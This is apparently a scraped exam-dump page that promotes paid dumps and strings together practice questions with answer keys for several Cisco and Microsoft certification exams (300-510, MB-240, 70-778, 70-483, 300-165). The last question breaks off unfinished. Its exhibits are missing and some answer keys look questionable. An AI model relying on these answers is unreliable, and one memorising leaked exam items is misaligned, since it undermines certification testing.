Free 300-510 Dumps PDF Questions – Pass 300-510 Exam Easily 2020…

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Free Cisco 300-510 Exam Questions in PDF Format

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Implementing Cisco Service Provider Advanced Routing Solutions (300-510 SPRI)

https://www.cisco.com/c/en/us/training-events/training-certifications/exams/current-list/spri-300-510.html

Cisco Certification preparation material for 300-510 exam

Latest Cisco 300-510 Practice Test Questions

Just Like the Real 300-510 Test

QUESTION 1
Which output from the show isis interface command helps an engineer troubleshoot an IS-IS adjacency problem on a
Cisco IOS-XR platform?
A. metric
B. priority
C. circuit type
D. hello interval
Correct Answer: D

QUESTION 2
Referring to the topology diagram show in the exhibit, which three statements are correct regarding the BGP routing
updates? (Choose three.)

Pass4itsure 300-510 exam questions-q2

A. The EBGP routing updates received by R1 from R5 will be propagated to the R2, R4, and R7 routers
B. The EBGP routing updates received by R3 from R6 will be propagated to the R2 and R4 routers
C. The EBGP routing updates received by R1 from R5 will be propagated to the R2 and R4 routers
D. The IBGP routing updates received by R3 from R2 will be propagated to the R6 router
E. The IBGP routing updates received by R2 from R1 will be propagated to the R3 router
F. The IBGP routing updates received by R1 from R4 will be propagated to the R5, R7, and R2 routers
Correct Answer: ABD

QUESTION 3

Pass4itsure 300-510 exam questions-q3

Refer to the exhibit. CE1 is the gateway router into the provider network via PE1. A network operator must inject a
default route into OSPF area 0. All devices inside area 0 must be able to reach PE1. Which configuration achieves this
goal?

Pass4itsure 300-510 exam questions-q3-2

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C
Reference: https://www.cisco.com/c/en/us/support/docs/ip/open-shortest-path-first-ospf/47868-ospfdb9.html

QUESTION 4
Which two characteristics unique to SSM when compared to ASM are true? (Choose two.)
A. It uses SPT switchover
B. It uses (*,G) exclusively
C. It uses IGMPv3
D. It uses RP
E. It uses (S,G) exclusively
Correct Answer: CE

QUESTION 5
A network engineer is troubleshooting OSPF multiarea. Which Cisco IOS XR feature should the engineer use in order to
streamline OSPF issue?
A. hierarchical CLI
B. DR support for topology management
C. routing process enabled by default on all interfaces
D. show ip ospf topology command
Correct Answer: A
 Reference: https://www.cisco.com/c/en/us/td/docs/routers/xr12000/software/xr12k_r4-0/routing/configuration/guide/rc40xr12k_chapter4.html#con_1059437

QUESTION 6
DRAG DROP
Compare different features between OSPFv2 and OSPFv3. Drag and drop the descriptions of OSPF from the left onto
the correct OSPF versions on the right.
Select and Place:

Pass4itsure 300-510 exam questions-q6

 

Correct Answer:

Pass4itsure 300-510 exam questions-q6-2

QUESTION 7

Pass4itsure 300-510 exam questions-q7

Refer to the exhibit. P1 and PE3 Cisco IOS XR routers are directly connected and have this configuration applied. The
BGP session is not coming up. Assume that there is no IP reachability problem and both routers can open tcp port 179
to each other.
Which action fixes the issue?
A. Change HMAC-MD5 to HMAC-SHA1-20
B. Configure the send and accept lifetime under key 1
C. Change HMAC-MD5 to MD5
D. Change HMAC-MD5 to HMAC-SHA1-12
Correct Answer: B

QUESTION 8
Refer to the exhibit.

Pass4itsure 300-510 exam questions-q8

Which three statements are correct regarding the Cisco IOS-XR configuration? (Choose three.)
A. This router, acting as the RP mapping agent, will send RP announcement messages to the 224.0.1.40 group
B. This router, acting as the RP mapping agent, will send RP discovery messages to the 224.0.1.39 group
C. This router is the RP mapping agent only for the 224.11.11.11 and 224.99.99.99 multicast groups
D. This router is a candidate PIM-SM RP for the 224.99.99.99 multicast group
E. This router is a candidate PIM-BIDIR RP for the 224.11.11.11 multicast group
F. IGMPv3 is enabled on all interfaces
G. Other routers will recognize this router as the RP for all multicast groups with this router loopback 0 IP address
Correct Answer: DEF

QUESTION 9
Which protocol can be used to secure multicast in a group multicast solution where group key management is needed
for secure key exchange?
A. DOI
B. ISAKMP
C. GDOI
D. IPsec
Correct Answer: C

QUESTION 10

Pass4itsure 300-510 exam questions-q10

Refer to the exhibit. After troubleshooting an OSPF adjacency issue, routers 1, 2, and 3 have formed OSPF neighbor
relationships. Which statement about the configuration is true?
A. Router 2 receives a Type 5 LSAs from router 1 for its connected subnets
B. Router 2 uses router 3 as the next hop for 192.168.0.0/24
C. Router 2 uses router 1 as the next hop for 192.168.0.0/24
D. Router 2 receives a Type 7 LSAs from router 3 for its connected subnets
Correct Answer: A

QUESTION 11
You have configured routing policies on a Cisco IOS XR device with routing policy language.
Which two statements about the routing policies are true? (Choose two.)
A. The routing policies affect BGP-related routes only.
B. If you make edits to an existing routing policy without pasting the full policy into the CLI, the previous policy is
overwritten.
C. You can change an existing routing policy by editing individual statements.
D. The routing policies are implemented in a sequential manner.
E. The routing policies are implemented using route maps.
Correct Answer: CD

QUESTION 12
Refer to the exhibit. Which LSA type is indicated by this router output?

Pass4itsure 300-510 exam questions-q12

A. type 3 LSA
B. type 4 LSA
C. type 1 LSA
D. type 2 LSA
Correct Answer: C

QUESTION 13

Pass4itsure 300-510 exam questions-q13

Refer to the exhibit. After you applied these configurations to routers R1 and R2, the two devices could not form a
neighbor relationship. Which reason for the problem is the most likely?
A. The two routers cannot authenticate with one another.
B. The two routers have the same area ID.
C. The two routers have the same network ID.
D. The two routers have different IS-types.
Correct Answer: C

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Microsoft MB-240 exam easily prepared by PDF dumps,100% free

Passing any Microsoft MB-240 Exam is not rocket science. I detail (almost) everything you want to know about the Microsoft MB-240 exam in this blog post.100% Free Updated Microsoft MB–240 Questions & Answers.https://www.pass4itsure.com/mb-240.html latest MB-240 exam dumps in PDF.

Microsoft MB-240 certification exam | Video

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Free Microsoft MB-240 pdf dumps download from Google Drive: 

(PDF) https://drive.google.com/open?id=1d_gZVN3snQgnDRM_XoT_xiL3GVBoTp4C

Exam MB-240: Microsoft Dynamics 365 Field Service measures your ability to accomplish the following technical tasks: configure field service applications; manage work orders; schedule and dispatch work orders; manage field service mobility; manage inventory and purchasing; and manage assets and agreements.

  • Configure field service applications (20-25%)
  • Manage work orders (15-20%)
  • Schedule and dispatch work orders (20-25%)
  • Manage field service mobility (10-15%)
  • Manage inventory and purchasing (10-15%)
  • Manage assets and agreements (10-15%)

https://docs.microsoft.com/en-us/learn/certifications/exams/mb-240

More Microsoft dumps you might be interested in!

MB-240 Free Exam Questions & Answers | practice

QUESTION 1
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to automatically
generate work orders based on agreements, and send invoices on a recurring basis by customer.
Solution: You implement the following configuration changes. 1) Create Agreement 2) Define Booking Setup 3) Create
Invoice Setup 4) Set Auto Generate Invoice = Yes 5) Populate Generate Agreement Invoices X Days in Advance
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 2
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create Business Closures.
5) Create Bookable Resources with Hourly Rates.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 3
The company has hired a new manager to set up and configure Field Service to automatically schedule work orders to
the most appropriate resource scheduling.
The manager is unable to optimize requirements and bookings related to work orders.
Which three settings are required? Each correct answer presents part of the solution.
A. Assign the Field Service-Administrator security role to the RSO user.
B. Add the RSO dispatcher role to a dispatcher.
C. Enable Resource Scheduling Optimization.
D. Set Connect to Maps as Yes.
E. Add RSO to the profile Field Service-Administrator.
Correct Answer: CDE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/rso-configuration

QUESTION 4
You are a Dynamics 365 for Field Service Mobile (FSM) customizer.
Technicians report that they are not seeing their Bookings in the FSM app.
You need to investigate why they cannot see their bookings.
What are three actions you must take to perform your investigation? Each correct answer presents a complete solution.
A. Check Drip Scheduling setting on the Bookable Resource.
B. Check sync filter on Bookable Resource Booking View.
C. Check if sync filter on Bookable Resource entity is too restrictive for offline mode.
D. Check that FSM app is synching to server.
E. Check if sync filter on Bookable Resource Booking entity is too restrictive for offline mode.
Correct Answer: ACE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/mobile-faq-bookings-notshowing

QUESTION 5
You are a Dynamics 365 for Field Service Mobile customizer.
Your mobile technicians indicate that when in offline mode, they do not have access to the same data set that is
available online. Offline mode contains less account and work order data, and users cannot see warehouses.
You need to determine which updates to make within the mobile project so that technicians can see the appropriate
information.
Which three actions should you choose? Each correct answer presents a complete solution.
A. Update Synchronization setting to Always Full Sync.
B. Update entity Sync Filter.
C. Update View filters.
D. Update the Max Sync Records setting.
E. Update the entity Mode to Online and Offline.
Correct Answer: BDE

QUESTION 6
You are onsite, working on a customer\\’s factory floor. You need to return tomorrow and replace a belt on the conveyor.
You look at the inventory in Warehouse 1, and there are 10 in stock. You pull the belt from stock and create an
inventory transfer record.
What are the two correct steps to complete the transfer? Each correct answer presents part of the solution.
A. Select the source warehouse, then select the destination warehouse.
B. Enter the quantity to transfer, then click transfer.
C. Enter the part number from the drop down, then click to transfer.
D. Select the From warehouse location, then select the To warehouse location.
Correct Answer: AB
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/create-inventorytransfer

QUESTION 7
Your company processes a large number of work orders each day. The company wants to ensure the high priority work orders are dealt with immediately.
You need to configure the schedule board so that bookings are easily visible to the dispatchers.
How can you configure Dynamics Field Services to increase booking visibility?
A. Configure a work order type for high priority issues, to help categorize high priority work order records.
B. Configure an Incident type for high priority incidents on work order records.
C. Configure the status color for a booking status record, to identify high priority work order records.
D. Configure a priority record to allow you to identify high priority work order records.
Correct Answer: C

QUESTION 8
You are a Dynamics 365 for Field Service Administrator.
You have a requirement to make a custom attribute “Contract Status” required and to not allow invalid data to be
entered in the attribute.
What are three ways that you can make an attribute required on a form within the Dynamics 365 for Field Service
Mobile App and ensure invalid data cannot be entered? Each correct answer presents a complete solution.
A. Create an OnSave rule, and display a message to the user if the specific field does not meet the required conditions.
B. Create an OnChange rule, and set a simple validation for a field to check whether the field contains data.
C. Create an Option Set with all possible options for the attribute.
D. Create an OnChange rule to highlight a field when it does not contain correct field data.
E. Create an OnSave rule to check any field\\’s data, but without highlighting the field when the condition is not met.
Correct Answer: ACE

QUESTION 9
You work for a recycling company that provides customers with large compactor units to collect their recyclable
materials. The compactor units are comprised of two separate components: a container to collect the recyclable
materials and a
separate component that compacts the recyclable materials to make them easier to transport.
These containers are expensive, and the components tend to break down frequently, requiring ongoing maintenance
and repairs.
You need to easily track the containers that your company has at each client location and maintain a service history for
each of the sub-components.
A. Configure the customer asset records hierarchically, and maintain service history at the sub-component level.
B. Configure the customer inventory records individually, in order to maintain the service history at the parent
component level.
C. Configure the customer inventory records in a hierarchy, and maintain service history at the sub-component level.
D. Configure the customer asset records hierarchically, and maintain service history at the service account level.
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-set-upcustomer-assets

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create the Holiday Schedule.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 11
You are a Dynamics 365 for Field Service Administrator.
You need to add two compressor sub-components to one of the refrigerator customer assets, in the environment and
set up the sub-components for the customer asset.
What must you do to properly set up the assets?
A. Add the compressor sub-components as sub-assets on the refrigerator customer asset record.
B. Click View Hierarchy on the refrigerator customer asset record.
C. Set the Master Asset on the sub-components to the refrigerator Customer Asset record.
D. Add the compressor sub-components as customer asset records.
Correct Answer: A

QUESTION 12
You are a Dynamics 365 for Field Service Administrator and work for a manufacturing firm. You are receiving support
requests that field engineers are unable to see a custom area entitled “Parts Requests” within the Dynamics 365 Field
Service Mobile App.
You need to troubleshoot the Dynamics 365 for Field Service mobile app to ensure that the field engineers are able to
view the customizations created.
What are the three steps you can take to troubleshoot the issue reported? Each correct answer presents a complete
solution.
A. Ensure that the Dynamics Mobile solution with the appropriate customizations has been published.
B. Synchronize the Dynamics 365 for Field Service Mobile App.
C. Ensure that a security role has been assigned to the project.
D. Verify that the impacted field engineers are enabled to use this project.
E. Ensure that the Woodford project with the appropriate customizations has been published.
Correct Answer: BCE

QUESTION 13
You are a Dynamics 365 for Field Service administrator for a construction company.
You need to schedule a work order for a group of resources that will work together for a set number of days, week, or
months.
How should you achieve the goal without scheduling the same requirements multiple times manually by using the
schedule board (or with the schedule assistant)?
A. Use Facility Scheduling
B. Use Multi-Resource Scheduling
C. Use Resource Crew Scheduling
D. Use Universal Resource Scheduling
Correct Answer: B
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/multi-resourcescheduling-requirement-groups

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Microsoft 70-778 Power BI free practice tests,100 effective!(2020)

Which materials are valid for passing 70-778 MCSA: BI reporting certification? Pass4itsure contains everything you need and it will help you in the best way. https://www.pass4itsure.com/70-778.html 70-778 Exam Questions & Answers( Q&As: 152 ) With all valid materials, we guarantee that we have a valid and real question that can help you take the exam. You can get free Microsoft 70-778 exam practice test questions here. 

Free Practice test Microsoft Power BI 70-778 exam (2020 newest)

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QUESTION 1
You have a Power BI app named App1. The privacy for the App1 app workspace is set to Private.
A user named User1 reports that App1 does not appear in the My organization AppSource. App1 appears in the My
organization AppSource for your account.
You need to ensure that User1 sees App1 from the My organization AppSource.
What should you do?
A. From the app workspace, click Update app, configure the Access setting, and then click Update app.
B. From the app workspace, share the dashboard.
C. From the app workspace settings, add a member.
D. From the app workspace, click Update app, configure the Content settings, and then click Update app.
Correct Answer: A

QUESTION 2
You have a query named FactlnternetSales used by several Power BI reports. The query is shown in the exhibit.

Pass4itsure 70-778 exam questions-q2

You plan to create a bar chart showing the count of sales by year that have a SalesAmount greater than $1,000.
You need to create a measure that will be used in the bar chart.
How should you complete the DAX formula? To answer, drag the appropriate values to the correct targets. Each value
may be used once more than once, or not at all. You may need to drag the split bar between panes or scroll to view
content.

Pass4itsure 70-778 exam questions-q2-2

Correct Answer:

Pass4itsure 70-778 exam questions-q3

 

QUESTION 3
You embed a Power BI report in a Microsoft SharePoint Online page.
A user name User1 can access the SharePoint Online page, but the Power BI web part displays the following error
message: “This content isn\\’t available”.
User1 is unable to view the report.
You verify that you can access the SharePoint Online page and that the Power BI report displays as expected.
You need to ensure that User1 can view the report form SharePoint Online.
What should you do?
A. Publish the app workspace.
B. Edit the settings of the Power BI web part.
C. Modify the members of the app workplace.
D. Share the dashboards in the app workspace.
Correct Answer: C
References: https://docs.microsoft.com/en-us/power-bi/service-embed-report-spo

QUESTION 4
Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is
repeated in each question. Each question presents a different goal and answer choices, but the text of the scenario is
exactly the same in each question in this series.
Start of repeated scenario.
You have a Microsoft SQL Server database that has the tables shown in the Database Diagram exhibit. (Click the
Exhibit button.)

Pass4itsure 70-778 exam questions-q4

You plan to develop a Power BI model as shown in the Power BI Model exhibit. (Click the Exhibit button.)

Pass4itsure 70-778 exam questions-q4-2

You plan to use Power BI to import data from 2013 to 2015.
Product Subcategory[Subcategory] contains NULL values.
End of Repeated Scenario.
You implement the Power BI model.
You need to create a hierarchy that has Category, Subcategory, and Product.
Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions
to the answer area and arrange them in the correct order.
NOTE: More than one order of answer choices is correct. You will receive credit for any of the correct orders you select.
Select and Place:

Pass4itsure 70-778 exam questions-q4-3

Correct Answer:

Pass4itsure 70-778 exam questions-q4-4

References: https://intelligentsql.wordpress.com/2013/05/08/tabular-hierarchies-across-multiple-tables/
https://www.desertislesql.com/wordpress1/?p=1629

QUESTION 5
Your company plans to use Power BI for 20 users in the sales department. The users will perform the following tasks:
Access a published Power BI app Modify reports in an app workspace Share dashboards created in My Workspace
You need to identify which Power BI licenses are required for the tasks. The solution must use the Power BI (free)
licenses, whenever possible.
Which license should you identify for each task? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

Pass4itsure 70-778 exam questions-q5

Correct Answer:

Pass4itsure 70-778 exam questions-q5-2

QUESTION 6
You open powerbi.com as shown in the following exhibit.

Pass4itsure 70-778 exam questions-q6

Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic. NOTE: Each correct selection is worth one point.
Hot Area:

Pass4itsure 70-778 exam questions-q6-2

Correct Answer:

Pass4itsure 70-778 exam questions-q6-3

QUESTION 7
You plan to create a Power BI report. You have the schema model shown in the exhibit. (Click the exhibit).

Pass4itsure 70-778 exam questions-q7

The model has the following relationships:
Store the District based on DistrictID
Sales to Store based on LocationID
Sales to Date based on PeriodID
Sales to Item based on ItemID
You configure row-level security (RLS) so that the district managers of the stores only see the sales from the stores they
manage.
When the district managers view the sales report, they see Sales by Items for all stores.
You need to ensure that the district managers can see Sales by items for the stores they manage only.
How should you configure the relationship from Sales to Item?
A. Change the Cardinality to One to one (1:1).
B. Change the Cardinality to One to Many (1.*).
C. Select Assume Referential Integrity.
D. Change the Cross filter direction to Both.
Correct Answer: D
References: https://powerbi.microsoft.com/en-us/guided-learning/powerbi-admin-rls/

QUESTION 8
You plan to use Power BI Desktop optimized for Power BI Report Server to create a report. The report will be published
to Power BI Report Server.
You need to ensure that all the visualization in the report can be consumed by users.
Which two types of visualizations should you exclude from the report? Each correct answer presents part of the
solution.
NOTE: Each correct selection is worth one point.
A. Funnel charts
B. Custom visuals
C. Bubble maps
D. Breadcrumbs
E. R visuals
Correct Answer: DE
References: https://powerbi.microsoft.com/en-us/guided-learning/reportserver-quickstart- powerbi-report/

QUESTION 9
You have the report shown in the following exhibit.

Pass4itsure 70-778 exam questions-q9

Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic. NOTE: Each correct selection is worth one point.
Hot Area:

Pass4itsure 70-778 exam questions-q9-2

Correct Answer:

Pass4itsure 70-778 exam questions-q9-3

QUESTION 10
You have the following table named Location.

Pass4itsure 70-778 exam questions-q10

The GeoCode column represents the country where each customer is located.
You create a map visualization as shown in the exhibit. (Click the Exhibit tab.)

Pass4itsure 70-778 exam questions-q10-2

You need to ensure that the map displays the country locations. What should you do?
A. Replace the values in the GeoCode column with postal codes or zip codes.
B. Change the name of the GeoCode column to Country.
C. Change the name of the Location table to Country.
D. Change the Default Summarization of the GeoCode column.
E. Add a Geoportal column to the Location table.
F. Change the Data Type of the GeoCode column.
Correct Answer: B
References: https://docs.microsoft.com/en-us/power-bi/visuals/power-bi-map-tips-and-tricks

QUESTION 11
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Excel workbook that is saved to Microsoft SharePoint Online. The workbook contains several
Power View sheets.
You need to recreate the Power View sheets as reports in the Power Bl service.
Solution: From the Power Bl service, get the data from SharePoint Online, and then click Connect
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
We need to click “Import”, not “Connect”.
References:
https://docs.microsoft.com/en-us/power-bi/service-excel-workbook-files

QUESTION 12
You are importing sales data from a Microsoft Excel file named Sales.xlsx into Power BI Desktop.
You need to create a bar chart showing the total sales amount by region.
When you create the bar chart, the regions appear as expected, but the sales amount value displays the count of sales
amount instead of the sum of sales amount each region.
You need to modify the query to ensure that the data appears correctly.
What should you do?
A. Delete the query, import the data into Microsoft SQL Server, and then import the data from SQL Server.
B. In Query Editor, add a calculated column that totals the sales amount column.
C. Change the Data Type of sales amount column to Numeric.
D. Refresh the data model.
Correct Answer: B

QUESTION 13
You have a Power BI report in an app workspace.
You plan to embed a report from the app workspace into a line-of-business application by using Power BI Embedded.
Which information should you provide to the application developers?
A. The application token and the report URL
B. The report URL and a user name
C. The app workspace name and the access key
D. The access key and the report ID
Correct Answer: C
References: https://docs.microsoft.com/en-us/power-bi/developer/integrate-report

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Exam 70-483: Programming in C# – Microsoft: https://www.microsoft.com/en-us/learning/exam-70-483.aspx

Skills measured

This exam measures your ability to accomplish the technical tasks listed below.

  • Manage Program Flow (25-30%)
  • Create and Use Types (25-30%)
  • Debug Applications and Implement Security (25-30%)
  • Implement Data Access (25-30%)

Microsoft 70-483 Online Exam Practice Questions

QUESTION 1
You have the following code (line numbers are included for reference only): You need to ensure that new instances of
Connection can be created only by other classes by calling the Create method. The solution must allow classes to
inherit from Connection. What should you do?pass4itsure 70-483 exam question q1

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: B
Explanation: The following list provides the main features of a static class:
*
Contains only static members.
*
Cannot be instantiated.
*
Is sealed.
*
Cannot contain Instance Constructors.
Creating a static class is therefore basically the same as creating a class that contains only static members and a
private constructor. A private constructor prevents the class from being instantiated.
Incorrect:
Not A: An abstract method is a method that is declared without an implementation. Not C: Private methods can be
called from derived classes.
Reference: Static Classes and Static Class Members (C# Programming Guide)
https://msdn.microsoft.com/en-us/library/79b3xss3.aspx

QUESTION 2
You are creating an application that reads from a database.
You need to use different databases during the development phase and the testing phase by using conditional
compilation techniques.
What should you do?
A. Configure the Define TRACE constant setting in Microsoft Visual Studio.
B. Decorate the code by using the [DebuggerDisplay(“Mydebug”)] attribute.
C. Configure the Define DEBUG constant setting in Microsoft Visual Studio.
D. Disable the strong-name bypass feature of Microsoft .NET Framework in the registry.
Correct Answer: C
Explanation: Use one debug version to connect to the development database, and a standard version to connect to the
live database.

QUESTION 3
HOTSPOT
You are developing the following classes named:
Class1
Class2
Class3
All of the classes will be part of a single assembly named Assembly.dll. Assembly.dll will be used by multiple
applications.
All of the classes will implement the following interface, which is also part ofAssembly.dll:
public interface Interface1
{
void Method1(decimal amount);
void Method2(decimal amount);
}
You need to ensure that the Method2 method for the Class3 class can be executed only when instances of the class are
accessed through the Interface1 interface. The solution must ensure that calls to the Method1 method can be made
either through the interface or through an instance of the class.
Which signature should you use for each method? (To answer, select the appropriate signature for each method in the
answer area.)
Hot Area:

pass4itsure 70-483 exam question q3

Correct Answer:

pass4itsure 70-483 exam question q3-1

QUESTION 4
You have the following code. (Line numbers are included for reference only).pass4itsure 70-483 exam question q4

You need to complete the WriteTextAsync method. The solution must ensure that the code is not blocked while the file
is being written. Which code should you insert at line 12?

pass4itsure 70-483 exam question q4-1

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: D
Explanation: await sourceStream.WriteAsync(encodedText, 0, encodedText.Length);
The following example has the statement await sourceStream.WriteAsync(encodedText, 0, encodedText.Length);,
which is a contraction of the following two statements:
Task theTask = sourceStream.WriteAsync(encodedText, 0, encodedText.Length); await theTask;
Example: The following example writes text to a file. At each await statement, the method immediately exits. When the
file I/O is complete, the method resumes at the statement that follows the await statement. Note that the async modifier
is
in the definition of methods that use the await statement.
public async void ProcessWrite()
{
string filePath = @”temp2.txt”;
string text = “Hello World\r\n”;
await WriteTextAsync(filePath, text);
}
private async Task WriteTextAsync(string filePath, string text) {
byte[] encodedText = Encoding.Unicode.GetBytes(text);
using (FileStream sourceStream = new FileStream(filePath, FileMode.Append, FileAccess.Write, FileShare.None,
bufferSize: 4096, useAsync: true))
{
await sourceStream.WriteAsync(encodedText, 0, encodedText.Length); };
}
Reference: Using Async for File Access (C# and Visual Basic)
https://msdn.microsoft.com/en-us/library/jj155757.aspx

QUESTION 5
DRAG DROP
You are developing a C# application. The application includes a class named Rate. The following code segment
implements the Rate class:pass4itsure 70-483 exam question q5

You define a collection of rates named rateCollection by using the following code segment:
Collection rateCollection = new Collection() ;
The application receives an XML file that contains rate information in the following format:

pass4itsure 70-483 exam question q5-1

You need to parse the XML file and populate the rateCollection collection with Rate objects. You have the following
code:

pass4itsure 70-483 exam question q5-2

Which code segments should you include in Target 1, Target 2, Target 3 and Target 4 to complete the code? (To
answer, drag the appropriate code segments to the correct targets in the answer area. Each code segment may be
used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content.)
Select and Place:

pass4itsure 70-483 exam question q5-3

Correct Answer:

pass4itsure 70-483 exam question q5-4

QUESTION 6
You are developing a C# application that has a requirement to validate some string input data by using the Regex
class.
The application includes a method named ContainsHyperlink. The ContainsHyperlink() method will verify the presence
of a URI and surrounding markup.
The following code segment defines the ContainsHyperlink() method. (Line numbers are included for reference only.)pass4itsure 70-483 exam question q6

The expression patterns used for each validation function are constant.
You need to ensure that the expression syntax is evaluated only once when the Regex object is initially instantiated.
Which code segment should you insert at line 04?

pass4itsure 70-483 exam question q6-1

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: D
RegexOptions.Compiled – Specifies that the regular expression is compiled to an assembly.This yields faster execution
but increases startup time.This value should not be assigned to the Options property when calling the
CompileToAssembly method. http://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regexoptions.aspx
Additional info http://stackoverflow.com/questions/513412/how-does-regexoptions-compiled-work

QUESTION 7
You are developing an application that uses the Microsoft ADO.NET Entity Framework to retrieve order information from
a Microsoft SQL Server database. The application includes the following code. (Line numbers are included for reference
only.)

pass4itsure 70-483 exam question q7

The application must meet the following requirements:
Return only orders that have an OrderDate value other than null. Return only orders that were placed in the year
specified in the year parameter.
You need to ensure that the application meets the requirements. Which code segment should you insert at line 08?

pass4itsure 70-483 exam question q7-1

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: B

QUESTION 8
You are developing an application by using C#. You provide a public key to the development team during development.
You need to specify that the assembly is not fully signed when it is built.
Which two assembly attributes should you include in the source code? (Each correct answer presents part of the
solution. Choose two.)
A. AssemblyFlagsAttribute
B. AssemblyKeyFileAttribute
C. AssemblyConfigurationAttribute
D. AssemblyDelaySignAttribute
Correct Answer: BD
*
AssemblyDelaySignAttribute
Specifies that the assembly is not fully signed when created.
*
The following code example shows the use of the AssemblyDelaySignAttribute attribute with the
AssemblyKeyFileAttribute.
using System;
using System.Reflection;
[assembly:AssemblyKeyFileAttribute(“TestPublicKey.snk”)] [assembly:AssemblyDelaySignAttribute(true)]
namespace DelaySign
{
public class Test { }
}
Reference: http://msdn.microsoft.com/en-us/library/t07a3dye(v=vs.110).aspx

QUESTION 9
You are developing an application that includes a class named Employee and a generic list of employees. The following
code segment declares the list of employees:
List employeesList = new List();
You populate the employeesList object with several hundred Employee objects.
The application must display the data for five Employee objects at a time.
You need to create a method that will return the correct number of Employee objects.
Which code segment should you use?pass4itsure 70-483 exam question q9

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: B
Explanation: public static IEnumerable Page(IEnumerable source, int page, int pageSize) { return source.Skip((page ?1)
* pageSize).Take(pageSize); }
if page 1 means it skips 0 and take the pageSize if page 2 means it skips first page and take the 2nd page.

QUESTION 10
You have a collection of Product objects named products. Each Product has a category.
You need to determine the longest name for each category.
You write the following code.pass4itsure 70-483 exam question q10

Which keyword should you use for Target 1?
A. Group
B. Where
C. Aggregate
D. Select
Correct Answer: B

QUESTION 11
You are creating a console application by using C#.
You need to access the assembly found in the file named car.dll.
Which code segment should you use?
A. Assembly.Load();
B. Assembly.GetExecutingAssembly();
C. This.GetType();
D. Assembly.LoadFile(“car.dll”);
Correct Answer: D
Assembly.LoadFile – Loads the contents of an assembly file on the specified path. http://msdn.microsoft.com/en-us/library/b61s44e8.aspx

QUESTION 12
DRAG DROP
You have the following code.pass4itsure 70-483 exam question q12

You need to store the SHA1 hash value of MessageString in a variable named HashValue.
Which code should you use? Develop the solution by selecting and arranging the required code blocks in the correct
order. You may not need all of the code blocks.
Select and Place:

pass4itsure 70-483 exam question q12-1

Correct Answer:

pass4itsure 70-483 exam question q12-2

QUESTION 13
DRAG DROP
You are creating a method by using C#. The method will accept three strings as parameters. The parameters are
named string1, string2, and string3. The parameter values range from 5,000 to 15,000 characters.
The method will have the following signature.pass4itsure 70-483 exam question q13

You need to ensure that StringCompare only returns true if string1 concatenated to string2 is equal to string3. The
comparison must be case-insensitive. The solution must ensure that StringCompare executes as quickly as possible.
Which three code blocks should you use to develop the solution? To answer, move the appropriate code blocks from
the list of code blocks to the answer area and arrange them in the correct order.
NOTE: Each correct selection is worth one point.
Select and Place:

pass4itsure 70-483 exam question q13-1

Correct Answer:

pass4itsure 70-483 exam question q13-2

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Cisco 300-165 Online Exam Practice Questions

QUESTION 1
Assuming hello PDU authentication has been disabled, which command re-enables the feature on a FabricPath
interface?
A. switch (config-if) # fabricpath isis authentication-type cleartext
B. switch (config-if) # fabricpath isis authentication-type md5
C. switch (config-if) # fabricpath isis authentication check
D. switch (config-if) # fabricpath isis hello-interval
Correct Answer: C

 

QUESTION 2
Which statement about SNMP support on Cisco Nexus switches is true?
A. SNMP requires the LAN_ENTERPRISE_SERVICES_PKG license.
B. SNMP is not VRF-aware.
C. Only users belonging to the network operator RBAC role can assign SNMP groups.
D. Cisco NX-OS supports one instance of the SNMP per VDC.
E. Cisco NX-OS only supports SNMP over IPv4.
Correct Answer: D

 

QUESTION 3
When implementing Cisco Adapter FEX, which setting on the virtual interface card on the Cisco UCS C-Series Server
must be configured?
